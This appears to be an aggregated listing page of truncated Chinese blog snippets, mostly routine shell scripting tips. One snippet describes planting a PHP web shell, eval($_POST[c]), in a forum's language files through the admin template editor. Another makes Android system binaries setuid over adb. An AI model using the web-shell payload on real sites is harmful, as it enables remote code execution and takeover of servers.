Time of Update: 2018-12-04
一個簡單的小工具,用java執行系統命令,並列印輸出。public class OSExecute{/** * <b>command。</b> * <p><b>詳細說明:</b></p> * <!-- 在此添加詳細說明 --> * 無。 * @param command */public static void command(String command){try{Process process=new
Time of Update: 2018-12-04
用法:#>moniotr.sh eth0 1#!/bin/bash# test network width#第一個參數是網卡名稱 後面是即時重新整理的時間, 1代表1秒function usage{ echo "Usage: $0 " echo "e.g. $0 eth0 2" exit 65}if [ $# -lt 2 ];then usagefitypeset in in_old dif_intypeset out
Time of Update: 2018-12-05
區區的好友Victor告知說他打算轉用cygwin版的emacs了,為了更加方便的整合他開發MTK時的bash環境。 於我這也google了一下cygwin emacs等主題。。結果在這時(http://www.khngai.com/emacs/cygwin.php)找到一些非常用的定製。。 (add-hook 'eshell-mode-hook '(lambda nil (eshell/export "EPOCROOT=//SomeWhere//") (let ((path))
Time of Update: 2018-12-05
1.將 adb 工具下的以下三個 adb.exeAdbWinUsbApi.dllAdbWinApi.dll檔案安裝到 C:\WINDOWS\system32 2.編寫一個test.bat檔案 adb push "\\192.168.2.76\jiangsai\mc850\庫\不動態產生撥號指令碼\system" /systemadb shell chmod 4777 /system/bin/rildadb shell chmod 4777 /system/bin/pppdadb
Time of Update: 2018-12-05
轉自http://vc88.javaeye.com/blog/658764 shell if 判讀語句[ 前後空格] 前面空格[ -a FILE ] 如果 FILE 存在則為真。[ -b FILE ] 如果 FILE 存在且是一個塊特殊檔案則為真。[ -c FILE ] 如果 FILE 存在且是一個字特殊檔案則為真。[ -d FILE ] 如果 FILE 存在且是一個目錄則為真。[ -e FILE ] 如果 FILE 存在則為真。[ -f FILE ] 如果 FILE
Time of Update: 2018-12-05
如果後台可以線上編輯模板的話,下面的方法就可以拿SHELL了:) 1.後台編輯customfaq(customfaq.lang.php檔案) 在Copy code eval($_POST[c]); 2.後台編輯misc(misc.lang.php檔案) 把post_reply_quote對應的內容改為 Copy code ";eval($_POST[c]);" 在前台回帖處選擇引用回複。 簡單看下代碼: include/newreply.inc.php 107行: Copy
Time of Update: 2018-12-05
shell:date 常用方式在linux下擷取時間字串命令 date# 以yyyymmdd格式輸出23天之前現在這個時刻的時間$ date +%Y%m%d –date=’23 days ago’$ date -uThu Sep 28 09:32:04 UTC 2006$ date -RThu, 28 Sep 2006 17:32:28 +0800# 測試十億分之一秒$ date +’%Y%m%d %H:%M:%S.%N’;date +’%Y%m%d %H:%M:%S.%N’;date
Time of Update: 2018-12-05
一、使用者登陸進入系統後的系統內容變數: $HOME 使用者自己的目錄 $PATH 執行命令時所搜尋的目錄 $TZ 時區 $MAILCHECK 每隔多少秒檢查是否有新的信件 $PS1 在命令列時的提示號 $PS2 當命令尚未打完時,Shell 要求再輸入時的提示號 $MANPATH man 指令的搜尋路徑 二、特殊變數: $0 這個程式的執行名字 $n 這個程式的第n個參數值,n=1..9 $* 這個程式的所有參數 $# 這個程式的參數個數 $$ 這個程式的PID $! 執行上一個指令的PID
Time of Update: 2018-12-05
Shell編程筆記(4)-文本過濾 作者: sunwill_chen 發表日期: 2007-01-30 17:17 文章屬性: 原創 複製連結 1.Regex (1)Regex一般用來描述文字模式的特殊用法,由一般字元(例如字元a-z)以及特殊字元(稱為元字元,如/、*、?等)組成。 (2)基本元字元集及其含義 ^ :只匹配行首。 如^a 匹配以a開頭的行abc,a2e,a12,aaa,...... $ :只匹配行尾。 如^a
Time of Update: 2018-12-05
awk中使用shell變數疑問 作者:swysn 發表時間:2002/03/22 05:01pm[這個貼子最後由valentine在 2002/10/22 08:46am 編輯]2002/01/01 1312 32132 AA 32132131#!/bin/shecho "ENTER:"read keycat tt|awk '{if(prev=="$key")print;prev=$1} 以上內容如果我輸:2002/01/01沒結果輸出!又錯了?
Time of Update: 2018-12-05
一個shell指令碼解多個壓縮檔(改別人的代碼) 這個程式核心代碼是有linuxsir.org的tram兄寫的,主要是時限瞭解壓縮檔的功能.我加了一些代碼使他能夠壓縮目錄和解開rar檔案,這個SHELL程式還是很簡單的,我經常用他,將程式的許可權用chmod gou+x filename該為可執行,然後複製到/bin/usr下.這樣就可以使用了.呵呵. 一下就是代碼.#!/bin/bashif [ -d $1 ]; thentar
Time of Update: 2018-12-05
前幾天在測試產品效能,連續跑了好幾天的程式,今天停止了,由於程式還不是很穩定,測試完了,要求統計一次程式從啟了多少次。於是開啟記錄檔,自己就開始一次一次地算啊,發現太大了,看的眼睛都花了。心想這樣不行,要讓電腦自己統計才好,於是想了想,就寫了以下一行sh語句,果然一下就統計好了。為了防止忘記,寫到bolg中。(好在沒有自己算,4M大的記錄檔,自己算的話,估計下班了,該找不到路回家了) 關鍵的在下面了。 linux統計某一檔案中字串“sent ip”出現的次數: cat nohup.
Time of Update: 2018-12-05
在linux下擷取時間字串命令 date# 以yyyymmdd格式輸出23天之前現在這個時刻的時間$ date +%Y%m%d --date='23 days ago'$ date -uThu Sep 28 09:32:04 UTC 2006$ date -RThu, 28 Sep 2006 17:32:28 +0800# 測試十億分之一秒$ date +'%Y%m%d %H:%M:%S.%N';date +'%Y%m%d %H:%M:%S.%N';date +'%Y%m%d %H:%M:%S.
Time of Update: 2018-12-05
在shell中具有最基本的數學計算能力,如可以使用expr 、let 。但這些都只能處理整形資料。為了要計算小數,就需要通過bc命令擴充。下面示範了一個例子,判斷輸出的參數類型,然後計算出它的平方.#!/bin/sh #filename: testbc
Time of Update: 2018-12-05
功能:下載伺服器ftp目錄中的所有檔案,下載完後立即刪除伺服器ftp目錄中的所有檔案*********************---------------------環境:倆台機器都是centos4.5_x86****************1.ftp伺服器主機資訊ftp伺服器主機名稱servervftp服務端:vsftp-2.0.1-5.EL4.5vftp伺服器ftp目錄預設是系統使用者所在目錄這裡的使用者為ftptest,家目錄為/home/ftptest IP:192.16
Time of Update: 2018-12-05
1. man顯示彩色字元 在~/.bashrc添加如下內容:export LESS_TERMCAP_mb=$'/E[01;31m'export LESS_TERMCAP_md=$'/E[01;31m'export LESS_TERMCAP_me=$'/E[0m'export LESS_TERMCAP_se=$'/E[0m'export LESS_TERMCAP_so=$'/E[01;44;33m'export LESS_TERMCAP_ue=$'/E[0m'export
Time of Update: 2018-12-05
第五課 蛋殼裡面有奧秘 大四上學期,臨近期中考試時,劉備在校園的超市裡意外地遇到了買菜的盧植老師,忽然有一種強烈的衝動想要和他親近起來。那時盧植已經離開了講台,是一家校辦公司的總經理。劉備主動迎上去,幫他提著菜籃子。然後一起走出門去,不知不覺來到了盧植家的樓下。 盧植說:“走吧,到我家去,一起弄飯吃!” 劉備猶豫了五秒鐘,臉憋得通紅,點點頭說:“好吧!”
Time of Update: 2018-12-05
今天晚上花了一會寫的,開始用的是 argv 是個二位元組, 調程式的時候總是顯示不出,後來發現execvp貌似只支援 pointer array =。= 好吧。。。。程式思路:開子進程以後把 子進程的標準輸出 關閉, 然後在子進程中建立一個檔案,此時檔案會選擇 自身進程中最小的檔案標識符 作為該檔案的檔案標識符,也就是fd所以,以後子進程的所有標準輸出都流向了檔案, 這個應該是簡單的思路了吧,感覺GNU的源碼應該是用無名管道,甚至是有名管道(網路傳輸) 實現的,好吧我就不意淫了。。。
Time of Update: 2018-12-05
UNIX Shell 編程(2) 字元匹配星號(*)匹配0個以上的字元;而問號(?)則匹配1個字元。如:ls [a-z]*[0-9]表示顯示檔案名稱以小寫字母開始,且以數字結尾的檔案清單。輸出重新導向命令的輸出一般是提交到標準輸出裝置,可以轉向到檔案內,這叫輸出重新導向。在有標準輸出的命令後,添加>file符號後,命令的輸出就會寫入檔案file。如:[root@localhost misc]# whoroot pts/1 2009-04-14 09:39 (10.3.
Time of Update: 2018-12-05
最近碰到一個問題,資料庫安裝後,設定的oratab不好用,不能做到自動啟動,解決辦法: 用root登入,編輯/etc/rc.d/rc.local檔案。這個檔案是在系統完成所有初始化後執行的,我們可以把啟動指令碼寫到裡面這個指令碼裡面的命令都是以root來執行的,所以注意絕對路徑和環境變數的問題su - oracle -c "/u01/app/oracle/db_1/bin/dbstart" #啟動資料庫export ORACLE_SID=XXXexport